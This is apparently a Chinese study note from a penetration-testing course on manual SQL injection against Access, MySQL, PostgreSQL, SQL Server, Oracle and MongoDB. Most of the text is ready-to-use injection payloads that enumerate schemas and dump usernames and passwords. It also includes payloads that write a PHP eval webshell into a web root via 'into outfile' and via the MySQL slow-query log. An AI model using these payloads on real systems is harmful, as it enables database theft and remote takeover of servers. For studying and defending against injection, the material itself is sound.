上一篇关于sql注入的文章已经是21年底的时候发布的了,随着安全意识提高,人们对注入类型的漏洞更加关注,经过不懈努力注入在owasp2021从原来的top1下降到top3。但是,少归少,漏洞还是会存在的,针对不同的数据库,像ACCESS、MYSQL、ORACLE、DB2等根据不同的语言特性会有不同的构造闭合手法,这篇文章先学习ACCESS和MYSQL
漏洞产生特性:可控变量、特定函数
之前的文章学习过,手动注入思路简单地说就是基于字典试错,爆数据库名-爆表名-爆字段名-爆数据,可以根据额ASCII一个个字符跑。
一、ASP+ACCESS-简易注入-字典猜测
根据ACCESS特性,如果猜不对的时候会报错,基于字典去猜表名字段名。
二、ASP+ACCESS-偏移注入-报错显示
偏移注入是解决表名已知,列名未知的问题。
三、MYSQL
MYSQL两种思路:
1.非root的注入攻击:常规的猜解
2.root用户的注入攻击:文件读写操作、跨库查询注入
黑盒中使用user(),白盒看连接用户 //判断身份
那么可以在手工找sql的思路上再改进,那就是先看数据库版本,5.0以上能用information_schema,然后看用户,根据是否是root用户采取不同的措施,然后是看当前的操作系统,因为涉及大小写、文件路径选择等,Linux对大小写敏感,windows不敏感。命令如下:
①version()
②user()
③@@version_complie_os()
下面就是传统爆下去了
本篇文章到这里相当没有营养,日后补充2.28
ACCESS无高权限注入点,只能猜解(暴力破解)
高权限除了能猜解,还能读写。
读写功能的作用是,找到文件路径之后,可以使用注入的payload注入一句话木马连接菜刀。示范(写入):
?id=2 UNION SELECT 1,'<?php eval($_POST[X]);?>’,3,4,5,6,7…into outfile ‘D:/phpstudy/PHPTutorial/WWW/blog/1.php’
上传payload到目标目录后,打开菜刀,密钥为“x”连接。
如何获得该路径呢?
1.网站报错路径显示
2.phpinfo
3.字典 //
然而读写不是一定能成功的,一些经过配置的数据库能限制对于盘符的操作。比如mysql配置文件(php-ini)里面的 secure-file-priv=中把等于号后面设置成C:/(=C:/)可以限制只能对C盘进行读写操作。(mysql5.6默认null)
如何突破?注入中需要支持SQL执行环境,如果没有就要接著phpmyadmin也许能够连上对方数据库进行绕过。
迪总演示了如何使用mysql慢日志来写入一句话木马:在数据库命令行中
1.set global slow_query_log=1;
2.set global show_query_log_file=’shell路径‘; //路径就是要插入shell的目录,比如果网站的根目录,比如说存入xxx.
3.select ‘<?php eval($_GET[a])?>’ or SLEEP(1); //一句话木马就会被写入到2步中文件的中
四、PostgreSQL:
手工注入:注入思路是万变不离其宗的,可以利用mysql注入的思路,只不过对于一些函数、查询语句的使用方法我们要区分不同数据库。
①查一下当前能被解析的select语句有几列,使用 order by * 试出页面出现错误未知,得出能显示的列数
order by *
and 1=2 union select null,null,null,null
②看回显位置。先让数据库报错,然后依次尝试正确输出的位置,通过看网页回显得出哪些列能回显数据
比如 and 1=2 union select null,’null’,null.null //他的第二位能正确回显“null”目的就实现了
③根据回显位,我们开始查询想要得到的信息,比如数据库版本,当前数据库用户等:
and 1=2 union select null,version(),null,null //查看版本,如下图

and 1=2 union select null,current_user,null,null //查看当前登录用户,如下图

and 1=2 union select null,current_database(),null,null //查看当前数据库,如下图

-获取数据库名:
and 1=2 union select null,string_agg(datname,’,’),null,null from pg_database
-获取表名:
1、and 1=2 union select null,string_agg(tablename,’,’),null,null from pg_tables where schemaname=’public’
2、and 1=2 union select null,string_agg(relname,’,’),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string_agg(column_name,’,’),null,null from information_schema.columns where table_name=’reg_users’
-获取数据:
and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users
-补充-获取dba用户(同样在DBA数据库管理员用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,’,’),null,null FROM pg_user WHERE usesuper IS TRUE
postgereSQL注入跟mysql的区别主要是对于数据据库名查询上
五、sqlserver
sqlserver的最高权限用户为 SA
思路和上面所说大体一致,区别是:
①获取版本:@@version
②获取当前数据库名字:db_name()
③获取当前用户名:user、system_user、current_user、user_name
④获取服务器主机信息:@@SERVERNAME
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’ and name not in (‘manage’)),null,null
-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),4) from sysobjects),null,null
-获取数据:
and 1=2 union all select null,username, password ,null from manage
六、oracle
参考:http://参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
测回显:and 1=2 union select ‘1’,’2′ from dual
爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1) from dual
模糊爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual
爆列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’) from dual
爆其他列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’ and column_name not in (‘USER_NAME’)) from dual
爆数据:and 1=2 union select user_name,user_pwd from “sns_users”
爆其他数据:and 1=2 union select user_name,user_pwd from “sns_users” where USER_NAME<>’hu’ //除了hu以外其他的用户和密码
七、MongoDB
测回显:/new_list.php?id=1′}); return ({title:1,content:’2
爆库: /new_list.php?id=1′}); return ({title:tojson(db),content:’1
爆表: /new_list.php?id=1′}); return ({title:tojson(db.getCollectionNames()),content:’1
爆字段:/new_list.php?id=1′}); return ({title:tojson(db.Authority_confidential.find()[0]),content:’1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
堆叠、带外:
带外:dnslog